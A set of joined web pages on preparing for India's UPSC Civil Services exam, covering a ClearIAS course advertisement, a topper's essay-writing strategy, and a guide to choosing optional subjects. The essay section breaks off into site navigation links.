• Choose the right study material: There are many different study materials available, so it is important to choose the ones that are right for you. You may want to consider using a combination of books, online resources, and coaching materials.
• Create a personalised study plan: This will help you stay organised and on track. Your study plan should be realistic and flexible, and it should take into account your other commitments.
• Focus on building a strong foundation in the basics: This will help you answer questions confidently in the exam. Make sure to study all the important concepts and topics.
• Practice regularly: This is the best way to improve your chances of success. Solve as many previous year question papers and mock tests as you can.

© 2024 Vajiram & Ravi. All rights reserved

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ClearIAS Releases Study Plan to Clear UPSC CSE 2025

Last updated on June 25, 2024 by ClearIAS Team

ClearIAS has launched a comprehensive study plan designed to help aspirants systematically prepare for the UPSC Civil Services Examination (CSE) 2025.

The Prelims cum Mains (PCM) Course by ClearIAS offers an integrated approach to mastering the Prelims, Mains, and Interview stages of the UPSC exam.

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Download Timetable and Study Plan to Clear UPSC CSE 2025

ClearIAS has introduced an all-encompassing study plan aimed at guiding aspirants through a systematic preparation for the UPSC Civil Services Examination (CSE) 2025.

Download ClearIAS Study Plan to crack UPSC CSE 2025

Key Features of ClearIAS Prelims cum Mains (PCM) Course

• Holistic Coverage : The PCM Course covers the entire syllabus for both Prelims and Mains, ensuring thorough preparation for all stages of the exam.
• Flexible Learning Options : With over 500 expert video classes, 1500+ topic-wise study materials (PDFs), and both live and recorded current affairs sessions, students can learn at their own pace and convenience.
• Immediate Access : Upon payment, students gain instant access to the course, enabling them to start their preparation without delay.
• Interactive Components : Regular doubt-clearing sessions and personal mentorship provide customized guidance to address individual learning needs.

PCM Course Benefits

• Comprehensive Preparation : Systematically covers the entire syllabus for both Prelims and Mains.
• Expert Video Classes : 500+ sessions led by experienced instructors covering essential topics for Prelims, Mains, and the Interview.
• Current Affairs & Doubt-Clearing Sessions : Stay updated with the latest events and resolve any queries promptly.
• Prelims Test Series (PTS) : Regular mock exams to evaluate preparation levels and improve performance.
• Intelligent Elimination Techniques (IET) : Learn strategies to effectively tackle objective questions in Prelims.
• CSAT and Essay Writing : Specialized classes to enhance skills in these critical areas.
• Personal Mentorship : One-on-one guidance from experts to help navigate the UPSC journey successfully.
• Interview Marks Booster (IMB) : Focused training to excel in the final interview stage.

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• Discounted Price : Enroll in the PCM Course at a special rate of Rs. 29,000, reduced from Rs. 49,000.
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• Additional Benefits : Includes access to live classes, continuous current affairs updates, and automatic inclusion of future content updates until UPSC CSE Mains 2025.

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UPSC CSE 2025: Study Plan ⇓

(1) ⇒ UPSC 2025: Prelims cum Mains

(2) ⇒ UPSC 2025: Prelims Test Series

(3) ⇒ UPSC 2025: CSAT

Note: To know more about ClearIAS Courses (Online/Offline) and the most effective study plan, you can call ClearIAS Mentors at +91-9605741000, +91-9656621000, or +91-9656731000.

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Joining the ClearIAS PCM Course provides you with a structured and strategic approach to clear UPSC CSE 2025.

With expert mentorship and comprehensive resources, ClearIAS equips you with the necessary tools to succeed in your IAS journey.

Enroll in the ClearIAS PCM Course today and embark on the path to success in UPSC CSE 2025!

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ESSAY STRATEGY BY ESSAY TOPPER: Chandra Mohan Garg, Rank 25, Essay Marks 149, CSE 2015

ESSAY STRATEGY BY ESSAY TOPPER

Chandra Mohan Garg, Rank 25

Essay Marks 149

Essay is the most taken for granted area in civil services preparation. We spend months preparing for GS-1, 2, 3, 4 but hardly any of us give any dedicated time for preparation of essay. It is important to understand that one essay paper is equivalent to almost 1.5 G.S papers in terms or scoring.

In 2014 I went without any preparation and ended up scoring 121 marks. In order to improve my rank I needed to focus on essay as there was a good scope of 30 plus marks. I made a strategy and worked on it, this helped me in scoring 149 in this attempt.

Before I begin, let me do away with few misunderstandings

• You need to be a champ in English ( your grammar, spelling mistakes, poor vocabulary cannot stop you from scoring high)
• Essay does not need preparation. Your GS knowledge can provide fodder but Essay unlike GS answers need lot more.
• You cannot improve so easily in essay. I increased 28 marks in Essay despite the fact that this year essay has been less scoring compared to last year.

Now let me discuss how to approach an essay:

• Choice of topic

Choice of topic should be clearly based on your holistic understanding of the subject matter. So choose a topic with which you are most comfortable. At times we think that the topic is so common that most of the people will choose it, so let me choose some unconventional topic. This is a totally wrong thinking, many people end up scoring poor marks due to this. So fight with your best weapons on.  

• Interpretation of the essay topic

Do not be in a hurry to write an essay. Many people see the broader title and start writing the essay without even understanding the theme of the topic.

Eg- With greater power comes greater responsibility [2014 ].Now the moment people see power they somehow relate it to politics and bureaucracy and start building their essay around it, writing all theories, quotes and examples they know related to it. Here the theme of this topic is philosophical which talks of power present in any institutional system (family, religion, community, politics, administration etc), throughout society power is banked from people to a leader so that he can use that power for a common good. So with greater power comes greater responsibility. In this context we need to critically analyse the theme of the essay.

• Brainstorming

After selection of the topic we need to brainstorm to get fodder material that we can write in the essay. There are various things and various ways to brainstorm.

Key words :- break the topic and look for key words to tinker upon. Example – With greater power comes greater responsibility we know power and responsibility are key words. Now you can brainstorm around key words

Past-Present-Future: – Another way to think upon to get points related to the topic.

SPECLIH: -Think from Social, Political, Economic, Cultural, Legal, International, Humanistic perspective. You can make your own acronym and add more dimensions to think from

Now what to brainstorm: You can look for quotes, examples, events, illustrations, case studies, Government initiatives, and facts and figures etc. So anything that can make the essay more informative and interesting.

• Structuring the essay

Information is one thing but how to put that information in a structured and systematic way is very important. So need to focus on few things while structuring your essay

Outline: Create an outline of essay i.e. how will your essay proceed. I feel PAST-PRESENT- FUTURE is a good technique, you can have other ways to decide the flow of the essay as well. E.g.- “Dreams that should not let India sleep”, here I discussed Nehru’s speech of tryst with destiny to explain what those dreams were, Then came on present why that dream is faltering and then talked of future that what are these dreams and how can we fulfil it.

Breakup: Break up your essay properly

Once you have brainstormed the points, created an outline and structured your essay,  now you are ready to write the content.

Language & Presentation : Write in simple language. No need of flowery expressions. Keep short sentences and small paragraphs

Explanation of points: Explain through examples or illustrations whatever you are trying to explain. Mention government Initiatives, policies & plans wherever possible. International examples or case study wherever possible.

Focus of essay: Throughout the essay the theme should be reflected and flow should be maintained from beginning to end. Each paragraph should link to the other .Also do not focus only on covering lot of dimensions in the essay. In this race we lose the flow of essay. More than knowledge essay should reflect your vision and ideas.

Introduction: Your Introduction should clearly lay down what the essay will entail, giving a brief idea to the reader. You can always use a story, quote, fact/Information or abstract way to create a context and then build your introduction over it.

Example:- “Is sting operation an Invasion in Privacy”[2014]. Here you could begin your Intro with the Tehelka story of Gujarat riots that hit the news and then raise questions was it good or bad and discuss that in the body.

Body: This part is all about analysis. Here three things are Important. 1.) If the topic is debatable you need to discuss both sides. If not then it will be straight-forward. 2.) In any case you will have certain line of arguments to put your case. 3.) Explain each of them through some examples.

Example: “Is sting operation an Invasion in Privacy”. This is debatable topic. So you will have both sides. Yes it in an invasion, No it is not an invasion. To discuss both sides you will have some arguments. Now when you put your arguments substantiate with the example and illustrations.

Conclusion: In conclusion focus on three things 1.) Summarise the topic 2.) Put your concluding stand 3.) Tell a way ahead. Try to end your essay on some positive/visionary note.

• What preparations you can do for the essay

Read: You need to read some good essays and learn how beautifully people put up their arguments. These essay don’t have diversity but depth. So reading some good essays can tell you how to begin an essay, write arguments, and conclude. Most Important is how to create a structure of essay.

Prepare: I don’t think coaching helps here. It has to be you.

• In your daily newspaper reading if you find some good lines or examples then keep noting them. Especially editorials.
• Take up some common/general topics like women, education, healthcare, internet, science (look at last 20 years essay) and prepare some fodder on it. Like quotes, imp case studies, examples, factual info, government initiatives etc.
• Have a repository of good opening and closing lines. You will find this through reading newspapers, good essays of others etc.

Write and evaluate: One should write at least 5-6 essays. When you write try to apply the points I explained above in this article. And most importantly get your essays evaluated by some teachers, selected candidates or sincere friends. This will help in making improvements.

• Time division

There is no hard and fast rule, it is totally your discretion but am telling it as this will be asked. So am sharing what I used to do.

• Topic Selection : 5 minutes
• Brain storming/creating outline/structure of essay : 15 minutes
• Essay Writing : 1hr to 1hr 5 minutes
• Revising Essay: 5 minutes

I have tried to explain to the best of my capabilities. If you still have doubts I have created a page on FB named CSE Preparation, you can post your queries there. Here is the link https://www.facebook.com/chandramohangargpage/

• What I wrote in 2015?

I don’t remember exactly what all I wrote in the essay, but yes I can share a brief where I can tell on what lines I tried to write my essay.

I wrote essays – 1. Education without values makes us a clever Devil and 2. Dreams that should not let India Sleep (writing topic in brief)

Sharing Essay-1 brief layout :

• Our Mission, Vision & Values
• Director’s Desk
• Commerce & Accountancy
• Previous Years’ Question Papers-Prelims
• Previous Years’ Question Papers-Mains
• Environment & Ecology
• Science & Technology

Decoding Optional Subjects in UPSC: Making an Informed Choice

Quick Summary

• UPSC is a constitutional body in India that conducts competitive exams for civil services.
• Shortlist optional subject based on your interest, review past papers and assess availability of resources.
• 5 best optional subjects in UPSC exams include sociology, medical science, literature, law and history.

Table of Contents

UPSC stands for Union Public Service Commission. With more than 10 lakh applicants annually, the UPSC Exam stands out as a top choice among government examinations, attracting fierce competition. To gain an edge in this examination, selecting the best optional subject for upsc is important. This strategic choice increases your chances of clearing the exam and pushes you closer to achieving your aspirations.

Unlike the compulsory General Studies papers, the optional subject offers candidates an opportunity to showcase their expertise in a particular field. This choice not only reflects their academic background and interests but also plays a significant role in determining their overall score.

Now, the question arises: how you are going to select your optional subject. This article will help you decide to choose the best optional subject for upsc for you.

Choosing the Best Optional Subject for UPSC

According to the latest UPSC exam syllabus, there are 48 UPSC optional subjects from which the candidate can choose one. Each optional subject in UPSC comprises two papers (Paper I and Paper II) carrying 250 marks each, making it a total of 500 marks.

Hence, the weightage of the optional paper, i.e. 500 marks out of the total 2025 marks, makes the optional subject about 25% of the final score. Therefore, the choice of UPSC’s main optional subject is extremely crucial. You have to choose an alternative subject in which you believe you can score well.

Best Optional Subject in UPSC

Now coming to the question “ Which optional subject is best for UPSC? “, both technical and non-technical subjects can be selected depending on your knowledge of these subjects.

Technical subjects like Mathematics can fetch you high marks as the answers in it are absolute. Basically, unlike humanities subjects , the examiner’s biases or preferences don’t have much impact. However, non-technical subjects, especially those that overlap with the General Studies syllabus, give you more preparation time and reading material overall, thereby helping you prepare well for the IAS Mains exam. Certain factors can help you decide on the best optional subject in UPSC. Before deciding on an optional subject, a candidate must ask themselves the following questions:

• How much is the syllabus of the optional subject in UPSC?
• How much time for preparation do you have?
• Do you have any prior knowledge of the subject at the graduate/PG level?
• How much syllabus overlap is there between your optional subject and General Studies subject in Prelims or UPSC Mains?
• Are the study material and coaching facilities readily available?
• Do you have the required drive/interest to study the subject for the UPSC exam?

Once you get the answers to the above questions, you can make the right choice in selecting the best optional subjects.

Also Read: Amazing Tips for IAS Preparation at Home

List of Optional Subject in UPSC

A list of the different optional subject in UPSC is provided below to help you easily decide:

Overlapping Optional Subject in UPSC with General Studies

Here is the UPSC optional subjects list, which is the popular choice among IAS aspirants from both technical and non-technical fields. Because of the high overlap with General Studies papers or other sections of the UPSC exam, these subjects can appear to be the right choice.

• Public Administration: Paper II (Indian Administration) overlaps highly with the polity and governance part of GS II.
• Sociology: Information from Sociology can be used in GS I, essays, and even in ethics papers.
• History: Relevant for both prelims and GS I.
• Geography: Important for prelims as well as GS I.
• Political Science: Relevant to both prelims and GS II.
• Law: Beneficial for prelims as well as GS II.

Subjects like Economics, Philosophy, and Agriculture are also good choices for optional subjects in UPSC.

Ways To Shortlist Optional Subject in UPSC

• Based on the above-mentioned criteria, prepare a list of 4 to 5 subjects that you are interested in.
• Go through the syllabus of each optional subject in UPSC. Read all topics carefully. Underline or highlight the points that you think you know something about or have some interest in the syllabus of each shortlisted optional subject.
• Check out the previous year’s question papers (3-4 years) on the shortlisted optional subjects . Read all the questions. Then again, measure the level of interest you have or the knowledge you have to answer each question.
• The availability of materials and guidance through training matters a lot. For a few papers, it is hard to get standard books, and for some subjects, tuition may not be available. Non-technical subjects can be prepared by self-study.
• By now, you will have a reasonable picture of choosing between 2-3 optional subjects in UPSC. For instance, if you are from an engineering background and are especially good at your engineering subjects, you can choose engineering. If you have an interest in literature or your native language, it will be optimal to select between these two subjects.
• In this scenario, the ‘success rate’ counts. Generally, literature subjects have performed well in all years. You may wind up choosing literature of your native language as your alternative paper. It’s a decent choice.

Other Factors to Consider

For a few people who have worked in a big company, Public Administration is a great choice and in fact, it has been the most chosen option by working aspirants or the people who have worked in the past. Medical students may settle on Medical Science, Zoology or Anthropology as these papers are related to their field.

Best Optional Subject in UPSC for Medical Students

Out of the available options, Medical Science is a natural choice. There have been several IAS toppers with a medical background who took medical science as their optional subject in UPSC. To some extent, subjects like Zoology, Animal Husbandry and Veterinary Science can also be considered. However, if a candidate from a medical background isn’t willing to opt for medical science as the choice for the optional subject, then non-technical subjects that have some overlap with GS become their choice.

Best Optional Subject in UPSC for Engineering Students

A lot of candidates from engineering backgrounds perform well in the IAS exams. However, if a candidate wants to choose an optional subject based on their previous knowledge, then there are comparatively fewer options, namely Civil, Mechanical and Electrical engineering.

No one would prefer to opt for a technical subject unless one studied the same at the graduate level. Subjects like Maths, Physics and Chemistry can also be considered. The UPSC optional subject reduces the subjectivity in marking to some extent, but the preparation time and effort are huge. So, it’s always better to go through the IAS syllabus and past question papers first.

Also Read: Difference between IAS and IES | Guide to UPSC

Top 10 Optional Subjects in UPSC

After considering the latest UPSC syllabus and recent IAS results, the top 10 optional subject in UPSC can be listed as follows:

1. Sociology 2. Agriculture 3. Medical Science 4. Literature 5. Anthropology 6. Public Administration 7. Psychology 8. Law 9. Geography 10. History

UPSC Exams: Format and Preparation

We know that the UPSC exam is conducted in three phases. While each phase has its own different approaches, the toughest one to crack for many is the UPSC Prelims. The Prelims consist of two examinations – General Studies I and II , which are also known as CSAT or the Civil Services Aptitude Test . These exams test the general knowledge of candidates in the different fields of Math, Science, and English. Due to its complicated questions, UPSC Prelims are considered to be one of the toughest entrance exams in the country. Therefore, students work hard to get through UPSC Prelims. However, if you heed the following steps, you can have a better chance of cracking the IAS exam .

Steps on How to Prepare For UPSC

Step 1: understand the exam.

A student cannot excel in an exam if they do not know what the exam contains. While it is important to know the type of examination, it is equally important to understand the topics that can be covered within the examination. The UPSC releases a document on their website consisting of all this information, including the syllabus for the exam, the type and format of the paper, and even the schedule. Students must also understand the eligibility criteria well before starting their preparations. All of this is categorized as pre-preparation for the examinations. This must be done as the first step so that the student is not left confused, or a few days before the exams, about these small details. Thus, starting with these important details lets you move through the preparation journey in a more systematic and organized manner.

Step 2: Start Reading

After completing step 1, you must be aware of the syllabus and the format of the papers. With this knowledge, you can begin your actual studies for the exams. The easiest method of studying is to pick up your old schoolbooks. All the basic syllabus for the UPSC exams can be studied from the NCERT books. If you are unable to find your old schoolbooks, then you can download them for free. While reading, you may remember most of the concepts, however, you must go over them twice to better prepare yourself. Additionally, you need to start reading the latest news. The majority of questions in the General CSAT exams come from current events.

Step 3: Take YouTube Lessons

Watching YouTube videos on topics of History and Science can also help students better prepare for the exams. Many YouTube channels offer UPSC coaching and can be used for their preparation.

Step 4: Read and Write

One of the habits we leave after we complete our schooling is learning by writing. While many do it in school, after it ends, people focus more on glazing through the contents of a book to memorize it. While this may work in schools, for the UPSC examinations, you must practice by writing. Writing helps you learn a particular topic twice: once when you read it out loud and once when you write it. But, more importantly, it psychologically embeds the topic in your mind. Thus, when you are done through your first round of glancing over the books, you must find your old notebooks and begin penning down your subject matter.

Step 5: Take mock exams

After you have prepared yourself well for the exam, you must take many practice exams. Many websites will provide you with past exam question papers for you to attempt. This step is crucial in your preparation as it helps you understand what a real exam would be like. You must take it with honesty and stick to the time limits. This will not only help you manage your time better, but it will also help you understand your mistakes and calm your nerves for the final paper. You can learn more about it on UPSC Exams.

Choosing the best optional subject for UPSC is entirely your decision. Only an aspirant knows their strengths, weaknesses, tastes, and availability of study materials. Therefore, you can follow the process recommended by us and choose what suits you best.

Ace Your UPSC Exams

Serving your nation in any way is a dream of every Indian, by becoming a civil officer after clearing your UPSC exams, you get a chance to do so. But to be able to pass your exams with flying colors, you need to know all about exam patterns, optional subject in UPSC, scoring, syllabus etc.

For those considering self-study, selecting the best UPSC optional subject is even more important. Choosing subjects that are easier for self-study, such as those with concise syllabus and abundant study materials, can help you prepare efficiently.

And now that you know what the best optional subjects are in UPSC and how to choose the ones that are the right fit for you, you can make your decision easily. So, without any further delay, start preparing to ace your IAS exam.

Evaluate numerous career choices to choose the right career path for yourself. Dive into our guide on  Career Advice.

Frequently Asked Questions

Which optional subject is best for upsc.

The best optional subject in UPSC is the one that suits your interests and aptitude. You should opt for an optional subject that will help you achieve success. Some of the best subjects are History, Geography, Economics, Political Science and Sociology.

Which is the easiest optional subject in UPSC?

Some of the easiest UPSC optional subjects are: 1. History 2. Geography 3. Public Administration 4. Political Science 5. Sociology

How many optional subjects are there in UPSC?

There are 48 optional subjects in UPSC out of which one subject can be chosen for both Paper I and Paper II. Both the papers are 250 marks each. The optional subject syllabus is of graduation level. Candidates can choose an elective subject depending on their graduation degree or the subject in which they are interested.

What are the 26 optional subjects in UPSC?

The 26 optional subjects in UPSC are: 1. Anthropology 2. Agriculture 3. Animal Husbandry and Veterinary Science 4. Botany 5. Chemistry 6. Civil Engineering 7. Commerce 8. Economics 9. Electrical Engineering 10.  Geography 11.  Geology 12.  Indian History 13.  Law 14.  Mathematics 15.  Management 16.  Mechanical Engineering 17. Medical Science 18. Philosophy 19. Physics 20. Political Science and International Relations 21. Psychology 22. Public Administration 23. Sociology 24. Statistics 25. Zoology 26. Literature

Which optional is high scoring?

Philosophy is one of the highest-scoring subjects in UPSC as its syllabus is less as compared to other subjects. Apart from this, Sociology and Public Administration are also scoring subjects. But scoring the highest in UPSC also depends on the candidate’s interest in the subject and how familiar they are with it.

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